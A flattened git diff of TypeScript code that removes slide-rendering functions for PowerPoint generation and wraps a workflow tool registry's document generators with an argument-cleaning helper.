spec.status === 'yellow'- ? palette.statusYellow- : palette.statusRed- slide.addShape(ctx.pptx.shapes?.RECTANGLE ?? 'rect', {- x: 0,- y: 0,- w: dims.width,- h: 0.18,- fill: { color: pptxHex(bandColor) },- line: { color: pptxHex(bandColor) },- })- }- // Logo top-left.- if (ctx.safeLogoPath) {- slide.addImage({- path: ctx.safeLogoPath,- x: 0.5,- y: 0.5,- w: 1.5,- h: 0.5,- sizing: { type: 'contain', w: 1.5, h: 0.5 },- altText: '',- })- }- // Title.- slide.addText(boundText(spec.title ?? '', 200), {- x: 0.5,- y: dims.height * 0.35,- w: dims.width - 1,- h: 1.5,- fontSize: dims.width > 12 ? 44 : 36,- bold: true,- color: pptxHex(palette.primary),- fontFace: 'Helvetica',- })- // Subtitle.- if (spec.subtitle) {- slide.addText(boundText(spec.subtitle, 400), {- x: 0.5,- y: dims.height * 0.55,- w: dims.width - 1,- h: 1,- fontSize: dims.width > 12 ? 20 : 16,- italic: true,- color: pptxHex(palette.muted),- fontFace: 'Helvetica',- })- }- // Date.- const dateStr = new Date().toLocaleDateString('en-US', {- year: 'numeric',- month: 'long',- day: 'numeric',- })- slide.addText(dateStr, {- x: 0.5,- y: dims.height - 0.7,- w: dims.width - 1,- h: 0.3,- fontSize: 11,- color: pptxHex(palette.muted),- })-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderSectionSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- const { dims, palette } = ctx- // Surface fill behind the title to differentiate section slides.- slide.addShape(ctx.pptx.shapes?.RECTANGLE ?? 'rect', {- x: 0,- y: 0,- w: dims.width,- h: dims.height,- fill: { color: pptxHex(palette.surface) },- line: { color: pptxHex(palette.surface) },- })- if (spec.eyebrow) {- slide.addText(boundText(spec.eyebrow, 100).toUpperCase(), {- x: 0.5,- y: dims.height * 0.4,- w: dims.width - 1,- h: 0.5,- fontSize: 14,- bold: true,- color: pptxHex(palette.accent),- charSpacing: 4,- })- }- slide.addText(boundText(spec.title ?? '', 200), {- x: 0.5,- y: dims.height * 0.45,- w: dims.width - 1,- h: 1.5,- fontSize: dims.width > 12 ? 48 : 40,- bold: true,- color: pptxHex(palette.primary),- })- if (spec.subtitle) {- slide.addText(boundText(spec.subtitle, 400), {- x: 0.5,- y: dims.height * 0.65,- w: dims.width - 1,- h: 0.7,- fontSize: 18,- italic: true,- color: pptxHex(palette.muted),- })- }-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function addSlideTitle(slide: any, title: string, ctx: RenderCtx): void {- if (!title) return- slide.addText(boundText(title, 200), {- x: ctx.region.marginX,- y: ctx.region.titleY,- w: ctx.dims.width - ctx.region.marginX * 2,- h: ctx.region.titleH,- fontSize: ctx.dims.width > 12 ? 28 : 22,- bold: true,- color: pptxHex(ctx.palette.primary),- })- // Accent underline under the title.- slide.addShape(ctx.pptx.shapes?.RECTANGLE ?? 'rect', {- x: ctx.region.marginX,- y: ctx.region.titleY + ctx.region.titleH + 0.05,- w: 1.0,- h: 0.04,- fill: { color: pptxHex(ctx.palette.accent) },- line: { color: pptxHex(ctx.palette.accent) },- })-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderBulletsSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- addSlideTitle(slide, spec.title ?? '', ctx)- const bullets = (spec.bullets ?? []).map(b => ({- text: boundText(b, 1000),- options: { bullet: { code: '25CF' } },- }))- if (bullets.length === 0) return- slide.addText(bullets, {- x: ctx.region.bodyX,- y: ctx.region.bodyY,- w: ctx.region.bodyW,- h: ctx.region.bodyH,- fontSize: ctx.dims.width > 12 ? 18 : 14,- color: pptxHex(ctx.palette.text),- paraSpaceAfter: 8,- })-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderChartSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- addSlideTitle(slide, spec.title ?? '', ctx)- const chart = spec.chart- if (!chart) return-- const captionH = chart.caption ? 0.4 : 0- const chartArea = {- x: ctx.region.bodyX,- y: ctx.region.bodyY,- w: ctx.region.bodyW,- h: ctx.region.bodyH - captionH,- }-- // Path takes precedence over native chart spec.- if (chart.path) {- const safe = loadSafeImage(chart.path, ctx.outputDir)- if (safe) {- slide.addImage({- path: safe,- ...chartArea,- sizing: { type: 'contain', w: chartArea.w, h: chartArea.h },- altText: chart.caption ?? '',- })- }- } else if (chart.type && Array.isArray(chart.datasets)) {- const datasets = chart.datasets- .filter(d => Array.isArray(d.data))- .map(d => ({- name: boundText(d.label ?? '', 100),- labels: chart.labels?.map(l => boundText(l, 80)) ?? [],- values: d.data,- }))- if (datasets.length === 0) return- const chartType = pptxChartTypeFromName(chart.type, ctx.pptx)- slide.addChart(chartType, datasets, {- ...chartArea,- barDir: chart.type === 'horizontalBar' ? 'bar' : 'col',- chartColors: [- pptxHex(ctx.palette.primary),- pptxHex(ctx.palette.accent),- pptxHex(ctx.palette.statusGreen),- pptxHex(ctx.palette.statusYellow),- pptxHex(ctx.palette.statusRed),- pptxHex(ctx.palette.muted),- ],- showTitle: Boolean(chart.title),- title: boundText(chart.title ?? '', 200),- titleColor: pptxHex(ctx.palette.text),- showLegend: datasets.length > 1,- legendPos: 'b',- legendColor: pptxHex(ctx.palette.text),- catAxisLabelColor: pptxHex(ctx.palette.muted),- valAxisLabelColor: pptxHex(ctx.palette.muted),- })- }-- if (chart.caption) {- slide.addText(boundText(chart.caption, 400), {- x: ctx.region.bodyX,- y: ctx.region.bodyY + ctx.region.bodyH - captionH,- w: ctx.region.bodyW,- h: captionH,- fontSize: 10,- italic: true,- color: pptxHex(ctx.palette.muted),- align: 'center',- })- }-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderTableSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- addSlideTitle(slide, spec.title ?? '', ctx)- const t = spec.table- if (!t || !Array.isArray(t.headers) || !Array.isArray(t.rows)) return-- const headers = t.headers.map(h => boundText(h, 200))- const rows = t.rows.map(r => normalizeRowLength(r, headers.length))-- const tableData = [- headers.map(h => ({- text: h,- options: {- bold: true,- color: 'FFFFFF',- fill: { color: pptxHex(ctx.palette.primary) },- align: 'left',- },- })),- ...rows.map((row, rIdx) =>- row.map(cell => ({- text: boundText(cell == null ? '' : String(cell), 500),- options: {- color: pptxHex(ctx.palette.text),- fill: rIdx % 2 === 1 ? { color: pptxHex(ctx.palette.surface) } : undefined,- },- }))- ),- ]-- slide.addTable(tableData, {- x: ctx.region.bodyX,- y: ctx.region.bodyY,- w: ctx.region.bodyW,- colW: Array<number>(headers.length).fill(ctx.region.bodyW / headers.length),- fontSize: ctx.dims.width > 12 ? 12 : 10,- border: { type: 'solid', pt: 0.5, color: pptxHex(ctx.palette.border) },- autoPage: false,- })-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderKpisSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- addSlideTitle(slide, spec.title ?? '', ctx)- const kpis = (spec.kpis ?? []).slice(0, 8)- if (kpis.length === 0) return-- // Pick grid: 1 row for ≤4, 2 rows for ≤8.- const cols = kpis.length <= 4 ? kpis.length : 4- const rows = kpis.length <= 4 ? 1 : 2- const gap = 0.2- const cellW = (ctx.region.bodyW - gap * (cols - 1)) / cols- const cellH = Math.min((ctx.region.bodyH - gap * (rows - 1)) / rows, 2.0)-- kpis.forEach((kpi, idx) => {- const r = Math.floor(idx / cols)- const c = idx % cols- const x = ctx.region.bodyX + c * (cellW + gap)- const y = ctx.region.bodyY + r * (cellH + gap)- // Card background.- slide.addShape(ctx.pptx.shapes?.ROUNDED_RECTANGLE ?? 'roundRect', {- x,- y,- w: cellW,- h: cellH,- fill: { color: pptxHex(ctx.palette.surface) },- line: { color: pptxHex(ctx.palette.border), width: 0.5 },- rectRadius: 0.05,- })- // Label.- slide.addText(boundText(kpi.label, 120), {- x: x + 0.2,- y: y + 0.15,- w: cellW - 0.4,- h: 0.35,- fontSize: 11,- color: pptxHex(ctx.palette.muted),- bold: true,- charSpacing: 1,- })- // Value.- slide.addText(boundText(String(kpi.value ?? ''), 80), {- x: x + 0.2,- y: y + 0.5,- w: cellW - 0.4,- h: 0.7,- fontSize: cols >= 3 ? 24 : 32,- bold: true,- color: pptxHex(ctx.palette.primary),- })- // Delta.- if (kpi.delta) {- const ds = deltaSpec(kpi.deltaDirection, ctx.palette)- slide.addText(`${ds.glyph}${boundText(kpi.delta, 80)}`, {- x: x + 0.2,- y: y + cellH - 0.45,- w: cellW - 0.4,- h: 0.3,- fontSize: 11,- color: ds.color,- })- }- })-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderColumnContent(- slide: any,- col: PptxColumnContent,- area: { x: number; y: number; w: number; h: number },- ctx: RenderCtx-): void {- if (col.type === 'bullets' && Array.isArray(col.bullets)) {- const bullets = col.bullets.map(b => ({- text: boundText(b, 1000),- options: { bullet: { code: '25CF' } },- }))- if (bullets.length === 0) return- slide.addText(bullets, {- ...area,- fontSize: 14,- color: pptxHex(ctx.palette.text),- paraSpaceAfter: 6,- })- } else if (col.type === 'narrative' && col.text) {- slide.addText(boundText(col.text, 4000), {- ...area,- fontSize: 14,- color: pptxHex(ctx.palette.text),- paraSpaceAfter: 6,- })- } else if (col.type === 'image' && col.image) {- const safe = loadSafeImage(col.image.path, ctx.outputDir)- if (safe) {- slide.addImage({- path: safe,- ...area,- sizing: { type: 'contain', w: area.w, h: area.h },- altText: col.image.caption ?? '',- })- }- }-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderTwoColumnSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- addSlideTitle(slide, spec.title ?? '', ctx)- const cols = spec.columns- if (!cols || !cols.left || !cols.right) return-- const gap = 0.4- const colW = (ctx.region.bodyW - gap) / 2- const leftArea = { x: ctx.region.bodyX, y: ctx.region.bodyY, w: colW, h: ctx.region.bodyH }- const rightArea = {- x: ctx.region.bodyX + colW + gap,- y: ctx.region.bodyY,- w: colW,- h: ctx.region.bodyH,- }- renderColumnContent(slide, cols.left, leftArea, ctx)- renderColumnContent(slide, cols.right, rightArea, ctx)-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderImageSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- addSlideTitle(slide, spec.title ?? '', ctx)- const img = spec.image- if (!img) return- const safe = loadSafeImage(img.path, ctx.outputDir)- if (!safe) return-- const captionH = img.caption ? 0.4 : 0- const imgArea = {- x: ctx.region.bodyX,- y: ctx.region.bodyY,- w: ctx.region.bodyW,- h: ctx.region.bodyH - captionH,- }- // Honor explicit dimensions if both width and height provided; else- // contain-fit into the body area.- if (img.width && img.height) {- slide.addImage({- path: safe,- x: imgArea.x + (imgArea.w - img.width) / 2,- y: imgArea.y + (imgArea.h - img.height) / 2,- w: img.width,- h: img.height,- altText: img.caption ?? '',- })- } else {- slide.addImage({- path: safe,- ...imgArea,- sizing: { type: 'contain', w: imgArea.w, h: imgArea.h },- altText: img.caption ?? '',- })- }-- if (img.caption) {- slide.addText(boundText(img.caption, 400), {- x: ctx.region.bodyX,- y: ctx.region.bodyY + ctx.region.bodyH - captionH,- w: ctx.region.bodyW,- h: captionH,- fontSize: 11,- italic: true,- color: pptxHex(ctx.palette.muted),- align: 'center',- })- }-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderQuoteSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- const { dims, palette } = ctx- const q = spec.quote- if (!q) return- // Big opening quote glyph.- slide.addText('“', {- x: ctx.region.marginX,- y: dims.height * 0.18,- w: 2,- h: 2,- fontSize: dims.width > 12 ? 120 : 90,- color: pptxHex(palette.accent),- bold: true,- })- slide.addText(boundText(q.text, 2000), {- x: ctx.region.marginX + 1.0,- y: dims.height * 0.32,- w: dims.width - ctx.region.marginX * 2 - 1.0,- h: dims.height * 0.4,- fontSize: dims.width > 12 ? 28 : 22,- italic: true,- color: pptxHex(palette.text),- paraSpaceAfter: 8,- })- if (q.attribution) {- slide.addText(`— ${boundText(q.attribution, 200)}`, {- x: ctx.region.marginX + 1.0,- y: dims.height * 0.78,- w: dims.width - ctx.region.marginX * 2 - 1.0,- h: 0.5,- fontSize: 14,- bold: true,- color: pptxHex(palette.muted),- })- }-}-// ─── Registry ────────────────────────────────────────────────────────// ─── clerum__list_workflows ───────────────────────────────────────────@@ -6194,15 +5903,51 @@ const triggerWorkflow: InternalToolDefinition = {},}+/**+ * A generator that runs on cleaned arguments (cleanToolArgs, unset nulls+ * dropped, named images decoded) and reports the arguments it did not read.+ */+function prepared(tool: InternalToolDefinition): InternalToolDefinition {+ return {+ ...tool,+ execute: async (args, outputDir) => {+ let clean: Record<string, unknown>+ try {+ clean = withoutUnsetNulls(tool.parameters, cleanToolArgs(args ?? {})) as Record<+ string,+ unknown+ >+ } catch (err) {+ return { success: false, error: err instanceof Error ? err.message : String(err) }+ }+ await predecodeImages(clean, outputDir)+ const unknown = watchUnknownArguments(tool.parameters, clean)+ const result = await tool.execute(clean, outputDir)+ const ignored = unknown.ignored()+ if (!result.success || ignored.length === 0) return result+ const listed = ignored.slice(0, 10).map(name => `'${name}'`)+ if (ignored.length > 10) listed.push(`and ${ignored.length - 10} more`)+ const note = `Ignored arguments this tool does not read: ${listed.join(', ')}.`+ const content = result.content ?? ''+ return {+ ...result,+ content: /\nNotes: /.test(content) ? `${content} ${note}` : `${content}\nNotes: ${note}`,+ }+ },+ }+}+/** All internal tools available to workflow steps. */export const INTERNAL_TOOLS: InternalToolDefinition[] = [- generateMarkdown,- generatePdf,- generateDocx,- generateXlsx,- generatePptxTool,- generateChart,- generateDashboardTool,+ ...[+ generateMarkdown,+ generatePdf,+ generateDocx,+ generateXlsx,+ generatePptxTool,+ generateChart,+ generateDashboardTool,+ ].map(prepared),listWorkflows,readWorkflow,triggerWorkflow,